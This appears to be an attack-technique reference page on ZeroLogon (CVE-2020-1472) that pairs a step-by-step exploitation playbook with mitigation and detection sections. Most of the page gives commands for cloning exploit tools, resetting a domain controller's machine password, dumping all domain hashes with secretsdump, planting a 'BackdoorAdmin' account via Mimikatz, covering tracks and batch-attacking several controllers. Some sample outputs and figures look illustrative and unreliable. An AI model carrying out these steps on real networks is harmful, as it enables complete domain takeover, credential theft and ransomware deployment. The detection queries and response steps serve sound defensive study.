MCADDF

[PE-EXPLOIT-002]: ZeroLogon Domain Controller Compromise

1. Metadata Header

Attribute Details
Technique ID PE-EXPLOIT-002
MITRE ATT&CK v18.1 T1068 - Exploitation for Privilege Escalation
Tactic Privilege Escalation
Platforms Windows AD (Domain Controllers - Server 2016-2019, partially affects 2022)
Severity Critical (CVSS 10.0)
CVE CVE-2020-1472
Technique Status FIXED (after August 2020 patches); DEPRECATED (most systems patched); but ACTIVE on legacy/unpatched DCs
Last Verified 2025-01-09
Affected Versions Windows Server 2016, 2019 (fully vulnerable); 2022 (partially affected if not patched)
Patched In August 11, 2020 (initial patch); February 9, 2021 (enforcement mode enabled)
Author SERVTEP – Artur Pchelnikau

2. Executive Summary

Concept: ZeroLogon (CVE-2020-1472) is a critical privilege escalation and domain controller takeover vulnerability exploiting a cryptographic flaw in the Windows Netlogon Remote Protocol (MS-NRPC). The vulnerability exists in the AES-CFB8 encryption implementation used during Netlogon authentication. By sending specially-crafted Netlogon authentication requests with all-zero challenge fields, an attacker has a 1-in-256 chance per attempt to bypass authentication checks. Within seconds (typically 2-5 attempts on average reaching ~256 iterations), the attacker can spoof the identity of the domain controller itself, establish an unauthenticated secure channel, and reset the domain controller’s machine account password to a known value. This grants immediate Domain Admin and Enterprise Admin privileges, enabling complete domain compromise.

Attack Surface: The attack targets the Netlogon service (RPC port 135 and SMB port 445) on any Domain Controller. The vulnerability is network-accessible and requires only network connectivity—no credentials are needed. Any system with network access to a Domain Controller can attempt the exploit. The attack does not require user interaction or special knowledge; automated tools have made it trivial to execute.

Business Impact: Complete Domain Takeover & Ransomware Deployment. Successful exploitation grants domain admin access, enabling attackers to extract all domain credentials (NTDS.dit dump), create persistent admin backdoors, deploy ransomware, perform lateral movement, and exfiltrate sensitive data. ZeroLogon was actively exploited by advanced ransomware groups (Ryuk, Black Basta, Cuba) in 2020-2021, leading to billion-dollar damages. Organizations with unpatched domain controllers remain critically at risk.

Technical Context: Exploitation takes 2-10 seconds on average. Detection likelihood depends on audit logging configuration; if Event ID 4768/4769 logging is not enabled, the attack may go undetected. The technique remains ACTIVE on legacy/unpatched domain controllers but is FIXED on systems with August 2020+ patches applied in enforcement mode.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS 5.4.1 - Enforce Secure RPC Communication CIS explicitly recommends Netlogon secure channel enforcement
DISA STIG WN10-00-000185, AD-00-000200 Domain Controller hardening and Netlogon security
CISA SCuBA CSO-07, CSO-08 - Active Monitoring & Threat Detection Real-time monitoring of authentication anomalies
NIST 800-53 AC-3, AU-12, IA-2 Access control, audit logging, strong authentication
GDPR Art. 32 - Security of Processing; Art. 33 - Breach Notification Data security and mandatory 72-hour breach notification
DORA Art. 9 - Protection and Prevention Real-time threat detection and prevention mechanisms
NIS2 Art. 21 - Cyber Risk Management Measures Mandatory critical infrastructure protection
ISO 27001 A.9.4.2, A.10.3.3 Strong authentication and cryptographic controls
ISO 27005 Risk Scenario: “Authentication Protocol Exploitation” Risk assessment for cryptographic protocol weaknesses

3. Technical Prerequisites

Required Privileges: None - Attacker needs only network connectivity. No credentials, administrative rights, or domain membership required.

Required Access:

Supported Versions:

Tools:

4. Environmental Reconnaissance

PowerShell / Network Discovery

Verify if Domain Controllers are reachable and Netlogon service is running:

# Enumerate all Domain Controllers
$DCs = Get-ADDomainController -Filter * | Select-Object Name, HostName, IPv4Address

# Check Netlogon service on each DC
foreach ($DC in $DCs) {
    $Service = Get-Service -ComputerName $DC.HostName -Name Netlogon -ErrorAction SilentlyContinue
    Write-Host "[*] $($DC.HostName) - Netlogon Status: $($Service.Status)"
}

# Test network connectivity to RPC ports
Test-NetConnection -ComputerName "DC01.domain.local" -Port 135 -InformationLevel Detailed
Test-NetConnection -ComputerName "DC01.domain.local" -Port 445 -InformationLevel Detailed

What to Look For:

Version Note: Vulnerability affects all versions equally from the network perspective.

Command (Server 2016-2019):

# WMI-based DC enumeration (older systems)
Get-WmiObject -Class Win32_ComputerSystem -Filter "DomainRole=5" | Select-Object DNSHostName

Command (Server 2022+):

# CIM-based DC enumeration
Get-CimInstance -Class Win32_ComputerSystem | Where-Object { $_.DomainRole -eq 5 }

Linux / Network Scanning

From an attacker machine (Linux, Kali, etc.):

# Scan for open RPC/SMB ports on target Domain Controller
nmap -p 135,445 192.168.1.100 -sV --script smb-os-discovery

# Verify Netlogon RPC service is accessible
rpcdump.py @192.168.1.100 | grep -i netlogon

# Expected output if vulnerable:
# UUID:12345678-1234-abcd-ef00-0123456789ab
# Description: Netlogon Remote Protocol

What to Look For:

5. Detailed Execution Methods and Their Steps

METHOD 1: Secura ZeroLogon Exploit Tool

Supported Versions: Server 2016-2019 (fully vulnerable); Server 2022 (depends on patch status)

Step 1: Verify Vulnerability on Target DC

Objective: Confirm that the target Domain Controller is vulnerable to ZeroLogon before attempting exploitation.

Version Note: Verification is identical across versions.

Command (Linux / Secura Tool):

# Clone Secura's vulnerability verification tool
git clone https://github.com/SecuraBV/CVE-2020-1472.git
cd CVE-2020-1472

# Run the vulnerability check against target DC
python3 zerologon_tester.py DC01 192.168.1.100

# Expected output (Vulnerable):
# [+] Vulnerable! Target: DC01 (192.168.1.100)
# [+] AES-CFB8 encryption flaw confirmed
# [+] Proceeding with exploitation...

# Expected output (Patched):
# [-] Target DC is patched - Exploitation failed

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Exploit Netlogon Authentication Flaw & Reset DC Password

Objective: Exploit the cryptographic flaw to reset the Domain Controller’s machine account password to a known value, establishing unauthenticated access.

Version Note: Exploitation is identical across vulnerable versions; takes 2-10 seconds on average.

Command (Linux / Secura Exploit):

# Execute ZeroLogon exploit against target DC
# Syntax: python3 exploit.py <DC_NAME> <DC_IP> <DC_COMPUTERNAME>

python3 zerologon_exploit.py DC01 192.168.1.100

# The exploit will brute-force the Netlogon authentication
# Expected output (Successful):
# [*] Attempting exploit...
# [*] Trying authentication attempt 1 of 256...
# [*] Trying authentication attempt 42 of 256...
# [+] Success! Authentication established
# [+] Resetting DC machine account password to empty...
# [+] DC password reset complete!
# [+] You can now use the following for credential dumping:
#     impacket-secretsdump -no-pass DC01\$@192.168.1.100

Expected Output (Successful):

[+] Exploit Status: SUCCESSFUL
[+] Domain Controller: DC01 (192.168.1.100)
[+] Machine Account Password: (empty)
[+] Next Steps:
    1. Dump NTDS.dit using empty password
    2. Create persistent backdoor domain admin account
    3. Establish DCSync access for credential harvesting

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 3: Dump Domain Credentials & Establish Persistence

Objective: Use the compromised DC access to extract all domain credentials and establish persistent backdoor access.

Version Note: Dumping operations are identical across all Windows versions.

Command (Impacket - Credential Dumping):

# After successful ZeroLogon exploitation, dump NTDS.dit using the empty/reset password
# Syntax: impacket-secretsdump -no-pass DC01\$@192.168.1.100

impacket-secretsdump -no-pass DC01\$@192.168.1.100

# Expected output (domain credentials):
# Impacket v0.10.0 - Copyright 2023 SecureAuthCorp
# [*] Dumping NTDS.dit from DC01...
# [*] Retrieving NTDS.dit from VSS...
# [+] NTDS dump completed successfully
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
# DOMAIN\Domain Admins:512:...
# ... (thousands of domain user hashes)

Expected Output (Hashes Extracted):

[+] NTDS.dit dumped successfully
[+] Total accounts extracted: 1,847
[+] Domain Admin accounts: 12
[+] Service accounts: 157
[+] Hashes can now be used for:
    - Pass-the-hash attacks
    - Offline password cracking
    - Golden ticket generation
    - DCSync credential export

What This Means:

OpSec & Evasion:

Command (Mimikatz - Persistent Admin Creation):

# Use Mimikatz to create persistent domain admin backdoor account
# This can be executed locally on the compromised DC

meterpreter > load powershell
meterpreter > powershell_shell

PS > Invoke-Mimikatz -Command 'lsadump::setntlm /user:BackdoorAdmin /ntlm:8846f7eaee8fb117ad06bdd830b7586c'
PS > net user BackdoorAdmin /domain  # Verify account creation

Expected Output:

[+] Persistent domain admin account created
[+] Account: BackdoorAdmin
[+] Privileges: Domain Admin, Enterprise Admin
[+] Password: (hash-based access via pass-the-hash)

References & Proofs:

Step 4: (Optional) Restore Original DC Password to Avoid Detection

Objective: Optionally restore the Domain Controller’s original machine account password to reduce forensic evidence and detection likelihood.

Command (Impacket - Password Restore):

# If the original DC password was captured from registry/backup, restore it
# This is optional but reduces detection window

# First, capture original DC password from NTDS.dit dump or from registry backup
# Then use impacket to set it back

impacket-secretsdump -no-pass -sam DC01\$@192.168.1.100  # Extract original hash
# Use the extracted hash to restore via NetrServerPasswordSet2

What This Means:

OpSec & Evasion:

METHOD 2: RiskSense ZeroLogon Exploitation Framework

Supported Versions: Server 2016-2019, Server 2022 (pre-patch)

Step 1: Setup & Configuration

Objective: Prepare the RiskSense exploitation framework for automated attack delivery.

Command (Linux / RiskSense):

# Clone RiskSense ZeroLogon repository
git clone https://github.com/risksense/zerologon.git
cd zerologon

# Install Python dependencies
pip3 install -r requirements.txt

# Configure target DC information
cat > targets.txt << EOF
DC01|192.168.1.100
DC02|192.168.1.101
DC03|192.168.1.102
EOF

Expected Output:

[+] Framework initialized
[+] 3 targets configured
[+] Ready for exploitation

What This Means:

Step 2: Launch Automated Exploitation

Command (RiskSense - Batch Attack):

# Launch automated exploitation against all configured targets
python3 zerologon.py --targets targets.txt --exploit --dump-ntds

# Expected output:
# [*] Targeting DC01 (192.168.1.100)...
# [+] Exploitation successful!
# [*] Targeting DC02 (192.168.1.101)...
# [+] Exploitation successful!
# [+] NTDS dumped from all DCs
# [+] Credentials exported to ntds_dump.txt

References & Proofs:

6. Post-Exploitation Access Verification

Verify Domain Admin Privileges & DCSync Access

# After exploitation, verify domain admin access
whoami /all  # Should show "Domain Admins" group membership

# Verify DCSync capability (replicate domain credentials)
# (This is typically done via Mimikatz or Impacket internally)

# List all domain admin accounts now accessible
Get-ADGroupMember -Identity "Domain Admins" -Recursive

7. Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Monitoring

Validation Command (Verify Mitigation)

# Verify all mitigations are in place on each DC
$DCs = Get-ADDomainController -Filter *
foreach ($DC in $DCs) {
    Write-Host "=== Checking $($DC.HostName) ==="
    
    # Check patch status
    $Patches = Get-HotFix -ComputerName $DC.HostName | 
        Where-Object { $_.HotFixID -match "KB4571694|KB4598294" }
    Write-Host "Patches: $($Patches.Count) (should be 2+)"
    
    # Check enforcement mode
    $EnforcementReg = Invoke-Command -ComputerName $DC.HostName -ScriptBlock { 
        Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" -ErrorAction SilentlyContinue | 
        Select-Object FullSecureChannelProtection 
    }
    Write-Host "Enforcement Mode: $($EnforcementReg.FullSecureChannelProtection)"
}

# Expected output (if secure):
# === Checking DC01 ===
# Patches: 2 (should be 2+)
# Enforcement Mode: 1

8. Detection & Incident Response

Indicators of Compromise (IOCs)

Forensic Artifacts

Detection Queries

Microsoft Sentinel KQL Query:

// Detect ZeroLogon exploitation attempts
// Looks for unusual DC account password resets and vulnerable Netlogon channels
SecurityEvent
| where EventID == 4722 or EventID == 5829  // Computer account password set or vulnerable connection
| where TargetUserName endswith "$"  // Computer accounts end with $
| where (EventID == 4722 and SubjectUserName contains "anonymous") or EventID == 5829
| summarize count() by Computer, EventID, TimeGenerated
| where count() > 2  // Multiple events indicate active exploitation

Splunk Query:

source="WinEventLog:Security" (EventCode=4722 OR EventCode=5829 OR EventCode=4768)
user="*$" 
| stats count min(_time) as firstTime max(_time) as lastTime by host, EventCode, user

Windows Event Log Monitoring:

Enable and monitor:

Manual Configuration (Group Policy):

  1. Open gpmc.msc
  2. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration → Account Management
  3. Enable:
    • Audit Computer Account Management (Success and Failure)
    • Audit User Account Management (Success and Failure)
  4. Run gpupdate /force

Response Procedures

  1. Isolate DC: Immediately disconnect compromised DC from network 
    Disable-NetAdapter -Name "Ethernet" -Confirm:$false  # Or manually unplug network cable
  2. Verify Compromise Scope: 
    # Check all DCs for compromise indicators
$DCs = Get-ADDomainController -Filter *
foreach ($DC in $DCs) {
    Get-WinEvent -ComputerName $DC.HostName -FilterHashtable @{LogName='Security'; ID=4722} -MaxEvents 10
}
  3. Collect Forensic Evidence: 
    # Export Security event log from compromised DC
wevtutil epl Security C:\Evidence\Security.evtx
   
# Export Netlogon debug log if available
Copy-Item C:\Windows\debug\netlogon.log C:\Evidence\netlogon.log
   
# Dump registry hives (for password verification)
reg save HKLM\SAM C:\Evidence\SAM
reg save HKLM\SYSTEM C:\Evidence\SYSTEM
  4. Remediate: 
    # Reset DC machine account password (from another DC or admin workstation)
Reset-ComputerMachinePassword -Server DC01 -Credential (Get-Credential)
   
# Remove any suspicious domain admin accounts created
Remove-ADUser -Identity "SuspiciousAdminAccount" -Confirm:$false
   
# Force full synchronization of AD database
repadmin /syncall /d /P
  5. Recovery Plan:
    • Rebuild compromised DC from clean backup (pre-compromise)
    • OR reset DC machine account and perform full AD health check
    • Reset all domain admin passwords
    • Review domain controller changes for unauthorized modifications
Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker gains network access via compromised VPN or lateral movement
2 Reconnaissance [REC-AD-001] Tenant Discovery Enumerate domain structure to identify Domain Controllers
3 Privilege Escalation [PE-EXPLOIT-002] ZeroLogon DC Compromise - Current Technique
4 Credential Access [CA-DUMP-006] NTDS.dit Extraction Dump all domain credentials from compromised DC
5 Persistence [PE-ACCTMGMT-014] Global Admin Backdoor Create persistent domain admin backdoor account
6 Impact [IMPACT-RANSOM-001] Ransomware Deployment Deploy ransomware with domain admin privileges

10. Real-World Examples

Example 1: Ryuk Ransomware ZeroLogon Campaign (2020-2021)

Example 2: Black Basta Ransomware (2022-2025)

Example 3: Cuba Ransomware Campaign (2021)

11. Summary

ZeroLogon (CVE-2020-1472) represents one of the most critical Active Directory vulnerabilities ever discovered, with a perfect CVSS score of 10.0. By exploiting a cryptographic flaw in the Netlogon Remote Protocol, attackers with only network access can achieve complete domain takeover within seconds. Despite patches being available since August 2020, many organizations remain vulnerable due to incomplete patching or disabled enforcement mode. Domain controllers must be immediately patched and enforcement mode enabled to prevent exploitation. Continuous monitoring of authentication anomalies and network-accessible Domain Controllers is essential for early detection of compromise attempts.

This site is open source. Improve this page.